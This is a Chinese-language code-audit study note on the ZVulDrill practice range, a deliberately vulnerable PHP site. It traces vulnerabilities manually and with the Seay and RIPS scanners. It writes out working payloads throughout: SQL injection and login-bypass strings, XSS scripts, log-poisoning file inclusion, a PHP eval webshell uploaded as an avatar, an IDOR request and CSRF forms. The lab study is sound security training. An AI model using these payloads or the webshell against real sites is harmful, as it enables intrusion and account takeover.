ZVulDrill 代码审计学习
靶场下载
- ZVulDrill:
4.2 ZVulDrill 漏洞
代码审计思路
- 观察网站的功能,根据功能思考可能存在的漏洞,然后查看功能对应的代码
- 通读源代码
- 用代码审计工具扫
实战一:由功能反推漏洞,然后查看源代码
-
1、搜索框
-
可能存在sql注入
-
过滤情况:未过滤
-
payload:
-
1、首先通过var_dump 查看查询语句,得到:
-
string 'SELECT * FROM comment WHERE comment_text LIKE '%1%''
-
-
2、尝试闭合:
- 查询字段数:1%' order by 1#
- 易错点: order by 前面是没有and的,如果加一个and 会报错
- 得到字段数为4,接下来联合查询:
- 1%' union select 1,2,3,4#
- 根据显示位查询数据库名和数据库当前用户
- 1%' union select 1,database(),user(),4#
- 查询字段数:1%' order by 1#
-
-
-
搜索结果显示,可能存在反射xss
-
过滤情况:未过滤,直接使用的echo
-
payload:
-
<script>alert(1)</script>
-
-
-
-
2、about页面
- 观察到url里的 f=header.php 可能存在文件包含漏洞
- 过滤情况:无,它直接包含我们传递进来的参数
- payload:
- 首先看是否有报错,随便包含一个不存在的文件,爆出了绝对路径:D:\wamp\www\www.z.com\about.php
- 根据绝对路径,判断出wamp的报错日志路径:D:\wamp\logs\apache_error.log
- 一般wamp的默认日志路径就在这里,注意:是apache_error.log,而不是php_error.log
- 3、构造错误的访问,错误的访问的url里写上我们的一句话,这里我用phpinfo来进行测试,
payload:http://www.z.com/<?php phpinfo();?>
- 4、尝试包含,发现失败,在本地打开apache_error.log,发现尖括号被转码了,我们可以利用burp抓包,将它url转的码重新改回尖括号
- 5、再次尝试包含,成功包含
-
3、普通用户登录页面
- 可能存在sql注入:万能密码
- 过滤情况:有过滤
- 通过查看login.php,发现html的action指向了loginCheck.php,所以我们来分析loginCheck.php,代码里面对用户提交的user和pass进行了clean_input函数处理
- 接下来就是分析clean_input函数的功能,在loginCheck.php未找到定义该函数的代码,但是loginCheck.php页面开头包含了config.php文件
- 接下来分析config.php文件,在config.php里未找到clean_input,但是config.php包含了lib.php文件,所以去分析lib.php
- 在lib.php里成功找到定义clean_input函数的代码,发现clean_input函数对传入的参数都进行了mysql_real_escape_string 处理
- 最后百度mysql_real_escape_string 函数的功能,得到该函数就是将参数里的一些特殊字符进行转义,其中就有单引号,所以我们无法注入。但是我们可以尝试宽字节注入
- 宽字节注入因为我们在代码里连接数据库的时候,设置数据库编码为 gbk,就会导致通过宽字节可以将转义的斜杠 \ 给吃掉,从而达到注入的方法
- 通过分析logCheck.php,发现它并没有设置编码为gbk,所以宽字节注入不存在
- 漏洞情况:无
- 过滤情况:有过滤
- 可能存在爆破
- 过滤情况:无
- payload:
- 通过查看login.php,发现html的action指向了loginCheck.php,所以我们来分析loginCheck.php
- 通过分析,它并没有验证码禁止,也没有登录错误次数显示,所以可以爆破
- 通过burpsuit即可进行爆破
- 可能存在sql注入:万能密码
-
4、注册页面
-
过滤情况:sql有过滤,xss无过滤
- 注册页面是reg.php,通过分析,它指向了regCheck.php,所以我们去分析regCheck.php
- 通过分析,regCheck.php对用户提交的用户名和密码进行了clean_input处理,所以这里不存在注入
- 通过分析,发现它仅仅对注册的密码进行了SHA加密处理,对用户名没有处理
-
可能存在存储型xss
-
payload:
-
因为没有对注册用户名过滤,所以可以在用户名那构造xss
-
注册用户名,用户名那里填写如下代码
-
<script>alert(1)</script>
-
-
-
漏洞情况:存在存储型xss
-
-
可能存在insert注入
- 漏洞情况:不存在sql注入
-
-
5、个人主页
-
头像上传,可能存在文件上传漏洞
-
过滤情况:无
- 文件上传所在文件为:edit.php,通过分析,发现它指向了updateAvatar.php,所以接下来去分析updateAvatar.php
- 发现它仅仅判定文件上传是否是submit提交和uploaddir是否设置,uploaddir它已经自定义该变量了,后门又对文件名进行了clean_input处理,但是该处理仅仅将字符串里的特殊字符进行了转义,所以没有进行过滤
-
payload:
-
直接上传php一句话即可:shell.php
-
易错点:符号 @ 是为了去除报错
-
<?php @eval($_POST['x']);?>
-
-
用菜刀访连接,成功连接
-
-
漏洞情况:存在漏洞
-
-
发布留言:可能存在xss漏洞
- 过滤情况:存在过滤
- 发布留言是message.php文件,通过分析,发现它的html指向了messageSub.php,所以去分析messageSub.php
- 通过分析messageSub.php,发现它仅仅判断用户是否提交留言,以及用户是否处于登录状态,然后对用户的留言进行了clean_input处理,这仅仅是对特殊字符进行了转义,但是没有对xss的相关字符进行处理,就直接插入数据了,所以数据插入进去没有被过滤
- 最后就是分析留言展示的时候是否被过滤,通过分析message.php。可以看到它通过htmlspecialchars对用户的用户名和留言内容进行了实体化,所以这里用户名和留言内容都过滤了
- 漏洞情况:不存在漏洞
- 过滤情况:存在过滤
-
资料编辑页面可能存在越权
-
过滤情况:更新用户名存在越权,更新密码不存在
- 资料编辑的页面是edit.php,修改用户名指向了update_name,通过分析,发现它更新用户名,首先是判断当前用户名存不存在,如果不存在,就根据user_id来更新用户名,而user_id是post来的,仅仅做了一个clean_input处理,所以我们完全可以通过post不同的user_id来修改其他用户的用户名
- 更新密码页面,也是根据user_id来更新密码,但是它这里的user_id是通过session来获取的,而session是保存在服务器的,所以我们无法伪造了,所以,这里不存在漏洞
-
payload:更新别人的密码
-
1、准备2个账户
-
2、用第二个账户修改第一个账户的用户名
-
3、在第二个账户修改用户名的时候抓包,发现id参数,尝试修改
-
POST /user/updateName.php HTTP/1.1 Host: www.z.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://www.z.com/user/edit.php Cookie: PHPSESSID=guqcph20e9rd43cu983p7n3692 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 43 id=4&username=ddd&submit=%E6%9B%B4%E6%96%B0
-
-
4、可以将id改为3,放包,发现成功修改别的用户的用户名
-
-
漏洞情况:存在越权漏洞
-
-
资料编辑可能存在csrf
-
过滤情况:用户名和密码都无过滤
- 更新用户名:仅仅判定是否是submit提交和用户名是否为空,无过滤
- 更新密码:仅仅判断密码是否为空,并且更新密码是get请求,无过滤
-
payload:修改用户名和密码,csrf
-
csrf更新用户名
-
1、依据通用csrf模板进行修改
-
<!DOCTYPE HTML> <html lang="en-US"> <head> <title>CSRF GET</title> <body> <form name="form1" action="http://www.a.com/update_user.php" method="post" enctype="multipart/form-data"> <input type="hidden" class="form-control" name="user_email" value=""> <input type="hidden" name="user_password" value="123"/> <input type="hidden" name="user_password2" value="123"/> <input type="file" class="form-control" name="user_pic"> </form> <script> document.forms.form1.submit(); </script> </body> </html>
-
-
2、根据修改用户名和密码各自的判定条件进行修改
- csrf更新用户名:根据源代码,必须要submit提交,所以不能用上面模板里的javascript自动提交,得诱惑别人提交
-
3、payload如下
-
<!DOCTYPE HTML> <html lang="en-US"> <head> <title>CSRF 更新用户名</title> <body> <form action="http://www.z.com/user/updateName.php" method="post" name="update_name" class="bs-example form-horizontal"> <input type="hidden" name="username" value="999" class="form-control" id="inputEmail"> <div><input type="submit" name="submit" class="btn btn-primary" value="抽奖"/></div> </form> </body> </html>
-
-
-
csrf更新密码:因为这里更新密码是get请求,所以更加简单
-
-
-
-
6、管理员登录界面
-
过滤分析:无过滤
- 仅仅对密码进行了SHA加密,但是未对用户名做任何处理,所以无过滤
-
可能存在弱口令爆破
- 存在,没有设置登录错误次数,也没有验证码
-
可能存在sql注入
- payload:
- 可以尝试万能密码,闭合
- sql语句:SELECT * FROM admin WHERE admin_name = '$name' AND admin_pass = SHA('$pass')
- 尝试闭合:admin'or 1 # 密码随便输,成功登录
- 漏洞情况:存在漏洞
- payload:
-
实战二:用seay工具扫描,然后对扫描出来的漏洞进行判定
- about.php 可能存在文件包含
- 以下文件可能存在sql注入
- messageSub.php
- 过滤情况:message存在clean_input过滤
- 漏洞情况:不存在漏洞
- regCheck.php
- 过滤情况:存在clean_input过滤
- 漏洞情况:不存在漏洞
- updateAvatar.php
- 过滤情况:存在clean_input过滤
- 漏洞情况:不存在漏洞
- updataName.php
- 过滤情况:存在clean_input过滤
- 漏洞情况:不存在漏洞
- updataPass.php
- 过滤情况:密码被SHA加密了
- 漏洞情况:不存在漏洞
- messageSub.php
- 以下文件可能存在xss
- search.php
- 过滤情况:直接用echo输出搜索字符串,无过滤
- 漏洞情况:存在xss漏洞
- search.php
- 以下文件可能存在文件上传
- updateAvatar.php
- 过滤情况:存在clean_input过滤,但是clean_input主要是针对sql注入的,对文件上传无效,并且它后续也没有代码对文件上传的后缀、上传类型进行过滤
- 漏洞情况:存在文件上传漏洞
- updateAvatar.php
实战三:用rips工具扫描,然后对扫描出来的结果进行判定
-
about.php可能存在文件包含
- 过滤情况:直接包含get传递进来的参数,无过率
- 漏洞情况:存在文件包含漏洞
-
以下文件可能存在xss
-
delUser.php
-
过滤情况:无过滤
-
漏洞情况:存在漏洞
-
漏洞利用:
-
当我们访问http://www.z.com/admin/delCom.php 的时候,如果不是用户名不是admin,并且id权限不为空的话,才可以访问该页面,否则就会执行delCom.php 文件里的else语句,从而调用not_find函数,not_find函数是lib.php里的
-
lib.php里的not_find会获取传递过来的网址参数,然后将其输出出来,比如 The requested URL /admin/delCom.php/ was not found on this server. 所以,我们完全可以在delCom.php 文件后门构造xss
-
payload
-
http://www.z.com/admin/delCom.php/alert(1)
-
-
-
-
messageSub.php
-
过滤情况:无
-
漏洞情况:存在漏洞
-
漏洞利用:
-
基本原理和第一个xss一样,代码里必须要是post提交,并且登录状态才能正常访问该页面,否则就会触发else语句,从而输出访问的url,所以可以在url里构造一个xss
-
payload
-
http://www.z.com/messageSub.php/<script>alert(1)</script>
-
-
-
-
updateAvatar.php
- 过滤情况:无过滤,但是这需要在文件名那里插入xss,但是文件名里是不允许尖括号的
- 漏洞情况:不存在漏洞
-
search.php
- 过滤情况:无,直接将我们搜索的字符串echo出来了
- 漏洞情况:存在漏洞
-
-
以下文件可能存在sql
-
admin/logCheck.php
- 过滤情况:未对用户名进行过滤
- 漏洞情况
- 存在sql,可以使用万能密码进行绕过登录
-
messageSub.php
-
文件包含的几种利用方式
- 1、插入图片马,然后包含
- 2、通过爆出绝对路径,然后猜测日志、错误日志的路径,接着访问该网站,使其报错,在网址里加上一句话木马,然后包含该日志
- 3、利用协议写入一句话木马,利用fopen、fwrite